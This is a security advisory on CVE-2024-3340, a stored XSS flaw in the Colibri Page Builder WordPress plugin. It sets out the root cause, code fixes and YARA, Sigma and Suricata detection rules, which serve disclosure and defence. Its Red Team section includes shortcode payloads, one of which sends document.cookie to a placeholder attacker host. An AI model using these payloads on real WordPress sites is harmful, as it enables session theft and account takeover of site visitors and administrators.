CVE-2024-3340

Executive Summary

CVE-2024-3340 is a Stored Cross-Site Scripting (XSS) vulnerability in the Colibri Page Builder plugin for WordPress. The flaw resides in the colibri-gallery-slideshow shortcode, which fails to properly sanitize user-supplied attributes before output. This allows authenticated attackers with at least Contributor-level access to inject arbitrary JavaScript or HTML into pages. When an administrator or other user visits the compromised page, the injected script executes in their browser, potentially leading to session hijacking, defacement, or further privilege escalation.

This vulnerability affects all versions of the plugin up to and including 1.0.272. No official patch has been released at the time of analysis. The CVSS score is 5.4 (Medium), but the impact is amplified in multi-tenant or high-traffic WordPress environments.

Supply Chain & Package Security

This vulnerability is specific to the WordPress plugin ecosystem. The Colibri Page Builder plugin is distributed via the official WordPress Plugin Directory and is also bundled with some premium themes. Users should verify they are not running a bundled version that includes the vulnerable shortcode. No NPM, PyPI, Go, or Ruby packages are affected.

CVSS Breakdown & Threat Level

• Attack Vector (AV): Network (N) – The attacker can trigger the vulnerability remotely.
• Attack Complexity (AC): Low (L) – No special conditions are required.
• Privileges Required (PR): Low (L) – The attacker needs Contributor-level access or higher.
• User Interaction (UI): None (N) – The victim does not need to perform any action beyond visiting the page.
• Scope (S): Changed (C) – The injected script can affect resources beyond the vulnerable component.
• Confidentiality (C): Low (L) – Limited data exposure possible.
• Integrity (I): Low (L) – Limited ability to modify content.
• Availability (A): None (N) – No direct impact on availability.

Threat Level: Medium. While the CVSS score is 5.4, the real-world risk is elevated due to the lack of a patch and the widespread use of the Colibri Page Builder plugin.

Deep Dive & Mechanics

The vulnerability is triggered through the colibri-gallery-slideshow shortcode. WordPress shortcodes allow users to embed dynamic content via simple tags like [colibri-gallery-slideshow attr="value"]. The plugin fails to sanitize the attr parameters before rendering them in the page HTML.

Root Cause: The plugin uses echo or print to output user-supplied attributes without passing them through esc_attr() or wp_kses(). This allows an attacker to break out of the attribute context and inject a onload, onerror, or src attribute that executes JavaScript.

Attack Flow:

1. An attacker with Contributor-level access creates or edits a post/page.
2. They insert the shortcode [colibri-gallery-slideshow slideshow_link="javascript:alert('XSS')"].
3. The plugin renders the shortcode, outputting the malicious slideshow_link value directly into the HTML.
4. When any user (including admins) visits the page, the JavaScript executes.

Vulnerable vs. Patched Code

Vulnerable Code (simplified):

function colibri_gallery_slideshow_shortcode($atts) {
    $slideshow_link = $atts['slideshow_link'];
    echo '<a href="' . $slideshow_link . '">View Gallery</a>';
}

Patched Code (expected):

function colibri_gallery_slideshow_shortcode($atts) {
    $slideshow_link = esc_url($atts['slideshow_link']);
    echo '<a href="' . $slideshow_link . '">View Gallery</a>';
}

The patched version uses esc_url() to sanitize the URL, preventing JavaScript injection. Additionally, all output should be wrapped in wp_kses() or similar functions.

Exploitation & Lab Setup

Red Team (Exploitation)

Prerequisites:

• A WordPress instance with Colibri Page Builder <= 1.0.272.
• A user account with Contributor-level privileges.

Exploit Steps:

1. Log in as a Contributor.
2. Create a new post or page.
3. Insert the following shortcode into the content:

   [colibri-gallery-slideshow slideshow_link="javascript:alert(document.cookie)"]
   

4. Publish or save the post.
5. When an admin or other user visits the post, the JavaScript executes.

Advanced Payload:

[colibri-gallery-slideshow slideshow_link="javascript:fetch('https://attacker.com/steal?cookie='+document.cookie)"]

Blue Team (Detection & Hardening)

Detection:

• Monitor for posts/pages containing the string colibri-gallery-slideshow in the content.
• Look for shortcodes with suspicious attributes (e.g., javascript:, onerror=, onload=).

Hardening:

• Disable the Colibri Page Builder plugin until a patch is available.
• Use a Web Application Firewall (WAF) to block shortcodes containing javascript: or event handlers.
• Restrict Contributor-level access to trusted users only.

Indicators of Compromise (IOCs)

• File System: Look for modified posts/pages containing the shortcode [colibri-gallery-slideshow with non-standard attributes.
• Network: Outbound HTTP requests to attacker-controlled domains from the WordPress server.
• Logs: WordPress audit logs showing post creation/editing by Contributor-level users with unusual shortcode usage.
• Browser: JavaScript alerts or unexpected redirects when visiting certain pages.

Detection Engineering

YARA Rule

rule colibri_xss_shortcode {
    meta:
        description = "Detects malicious Colibri gallery slideshow shortcode"
        author = "Valters IT"
        date = "2025-04-10"
        reference = "CVE-2024-3340"
    strings:
        $shortcode = /\[colibri-gallery-slideshow[^\]]*?(javascript|onerror|onload|onclick|onmouseover)[^\]]*?\]/i
    condition:
        $shortcode
}

Sigma Rule

title: Colibri Page Builder Stored XSS via Shortcode
id: 7a8b9c0d-1e2f-3a4b-5c6d-7e8f9a0b1c2d
status: experimental
description: Detects posts/pages containing malicious Colibri gallery slideshow shortcode
author: Valters IT
date: 2025-04-10
logsource:
    category: application
    product: wordpress
detection:
    selection:
        post_content|contains: 'colibri-gallery-slideshow'
        post_content|contains|any:
            - 'javascript:'
            - 'onerror='
            - 'onload='
            - 'onclick='
    condition: selection
falsepositives:
    - Legitimate use of the shortcode with safe URLs
level: high

Suricata Rule

alert http any any -> any any (msg:"CVE-2024-3340 Colibri Page Builder Stored XSS"; flow:to_server,established; content:"colibri-gallery-slideshow"; nocase; pcre:"/\[colibri-gallery-slideshow[^\]]*?(javascript|onerror|onload|onclick|onmouseover)[^\]]*?\]/i"; sid:1000001; rev:1;)

Remediation & Mitigation

Immediate Actions:

1. Disable the plugin – If the Colibri Page Builder is not critical, deactivate and delete it.
2. Restrict user roles – Remove Contributor-level access from untrusted users.
3. Apply virtual patching – Use a WAF to block shortcodes containing javascript: or event handlers.

Long-term Fix:

• Monitor the Colibri plugin page for an official patch. Once released, update to the patched version immediately.
• Consider switching to an alternative page builder that is actively maintained.

Workaround:

• If the plugin must remain active, add the following code to your theme's functions.php to sanitize the shortcode output:

add_shortcode('colibri-gallery-slideshow', 'custom_colibri_gallery_slideshow');
function custom_colibri_gallery_slideshow($atts) {
    $slideshow_link = esc_url($atts['slideshow_link']);
    return '<a href="' . $slideshow_link . '">View Gallery</a>';
}

Valters IT
Securing WordPress, One Plugin at a Time